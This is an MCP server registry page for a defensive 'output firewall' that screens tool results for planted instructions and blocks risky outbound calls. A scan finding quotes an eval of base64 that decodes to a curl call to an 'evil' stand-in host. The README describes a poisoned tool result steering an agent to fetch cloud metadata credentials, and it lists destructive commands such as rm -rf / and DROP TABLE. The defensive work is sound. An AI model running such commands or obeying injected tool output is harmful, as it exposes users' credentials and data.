MCP.Market

MCP Output Firewall MCP server

by tangfei7777-cell·io.github.tangfei7777-cell/mcp-output-firewall·v0.3.0

Three-layer firewall for MCP: content, egress and action policy. Proxy or server.

B82/100grade B
What users say
No reviews yet
Be the first
Safety scan
B82/100

full report

Adoption
Growing

0 stars39 downloads/wk

Reviews

Write one

Nobody has reviewed MCP Output Firewall yet.

If you have run it, two minutes of your experience saves the next person an afternoon.

MCP Output Firewall tools (4)

write = sends, deletes, buys or posts

Read from the package source without running it. The installed server may list more.

  • check_tool_call

    Decide whether an outbound tool call may proceed, by running it against the

  • describe_policy

    Return the rule catalogue, the layer model, the benchmark numbers and — most

  • evaluate_tool_result

    The decision form of scan_content: given a payload that arrived from somewhere

  • scan_content

    Inspect text you did not author — a fetched page, a file, an issue, a tool result

Public scan report

scanner v0.1.10 · 2026-10-15 · same rubric, same numbers if you re-run it

1 medium
  • Code scan12 source files scanned20/25
  • –Live reliabilityno gateway calls yet and no remote to proben/a
  • –Tool poisoningtools not inspected (local package is not executed); not countedn/a
  • Auth qualitylocal package, no credentials required12/15
  • Maintenancelast push 29 days ago15/15
  • Maintainer identityregistry namespace matches repository owner6/10

Findings (1)

  • mediumeval / new Function usedexec.eval
    lib/demo.js: …(decode before use):", "", "eval(atob('Y3VybCAtcyBodHRwczovL2V2aWwuZXhhbX…
Overall 82/100. Components that don't apply are left out of the denominator. Any critical finding is an F.RubricAppeal a findingJSON

How MCP Output Firewall compares

Against every graded MCP server, from our own scans and uptime checks. Updated after each scan run.

Safety score
82/100
higher than 63% of 48,243 servers
Tools
4
the typical server has 7
Tools that change things
0%
typical: 0%. Fewer write tools means less an agent can break
Downloads a week
39
more than 29% of 12,306 servers with a package

What its tools let an agent do: 3 read · 1 run or deploy

Install MCP Output Firewall in Claude Code, Cursor or VS Code

Runs npx -y mcp-output-firewall on your machine. Read the scan report first; the gateway never runs local packages.

claude mcp add mcp-output-firewall -- npx -y mcp-output-firewall
Add to Cursor

What the publisher says

From the MCP Output Firewall repository's README, as published. We do not edit it. Read it on GitHub

mcp-output-firewall

A three-layer firewall for MCP servers.

An MCP-enabled agent reads the output of every tool it calls, and it reads that output as data. Sometimes it isn't data. Anyone with write access to a file, an issue, a database row, or a web page the agent fetches can plant text that looks like data and reads like instructions — and the model does what the text says.

Existing MCP gateways solve authorisation: who is allowed to call this tool. They do not solve content: whether what came back can be trusted. A perfectly legitimate tool call can return poisoned data, and an authorisation layer has no opinion about that at all.

mcp-output-firewall sits in that gap.

Three layers, because one is not enough

Content filtering is defeatable. That is not a defect of this implementation; it is the state of the field. The honest response is not a better regex list, it is a posture with more than one failure mode.

Layer 1 is the one everyone builds. Layers 2 and 3 exist because layer 1 loses.

Why layer 2 matters most

The content scanner never sees the tool call. That is where the damage happens. A tool named fetch_url with the description "Retrieve the contents of a URL" is honest, well-behaved, and completely safe to install — right up until a poisoned tool result tells the agent to call it with http://169.254.169.254/latest/meta-data/iam/security-credentials/.

No amount of scanning the response can catch that, because the attack isn't in the response. It's in the request.

mcp-output-firewall wrap --egress-strict \
  --egress-allow api.company.com,registry.npmjs.org \
  -- npx -y some-mcp-server

Blocked by default: cloud instance metadata endpoints, private ranges, loopback, DNS-tunnelling hostnames, and known drop-host patterns. Everything else that is unrecognised is permitted but logged — this is not a web filter and does not pretend to be one.

Why layer 3 exists

Meta's "Rule of Two" for agent design: an agent may combine at most two of (a) processing untrusted input, (b) access to sensitive systems, and (c) changing state externally. An agent reading tool results permanently has (a). So any call that is both sensitive and state-changing is asking for all three at once — and that is the shape of every real agent incident.

mcp-output-firewall wrap --confirm-actions \
  --trust-tools read_file,list_directory \
  -- npx -y some-mcp-server

Read-only tools are never interrupted. Destructive arguments (rm -rf /, DROP TABLE, pipe-to-shell) are refused outright. Consequential but legitimate operations (file writes, git push, payments) require an explicit yes.

Two shapes, because the check has two possible locations

Shortened. The full README is on GitHub.

Nothing above is checked by us. What we check is on the safety report.

Grade history

  • 2026-09-19restoreC → Bscore 82: eval / new Function used
  • 2026-09-19restoreF → Cscore 63: Base64 decoded then executed; eval / new Function used

MCP Output Firewall: common questions

Is MCP Output Firewall MCP server safe?
Mostly: it is graded B (82/100). Read the MCP Output Firewall safety report
How do I install MCP Output Firewall?
It runs on your machine. Copy the Claude Code, Cursor, VS Code or Claude Desktop config from the install section.
Does MCP Output Firewall need an API key?
Not as far as the registry entry and our scan can tell: no credentials are declared or required.
Is MCP Output Firewall maintained?
The last commit was 51 days ago (2026-09-16). The latest release is v0.3.0.
How does MCP Output Firewall compare with other MCP servers?
safety score 82/100 (higher than 63% of 48,243 servers); tools 4 (the typical server has 7); tools that change things 0% (typical: 0%. Fewer write tools means less an agent can break). Full comparison.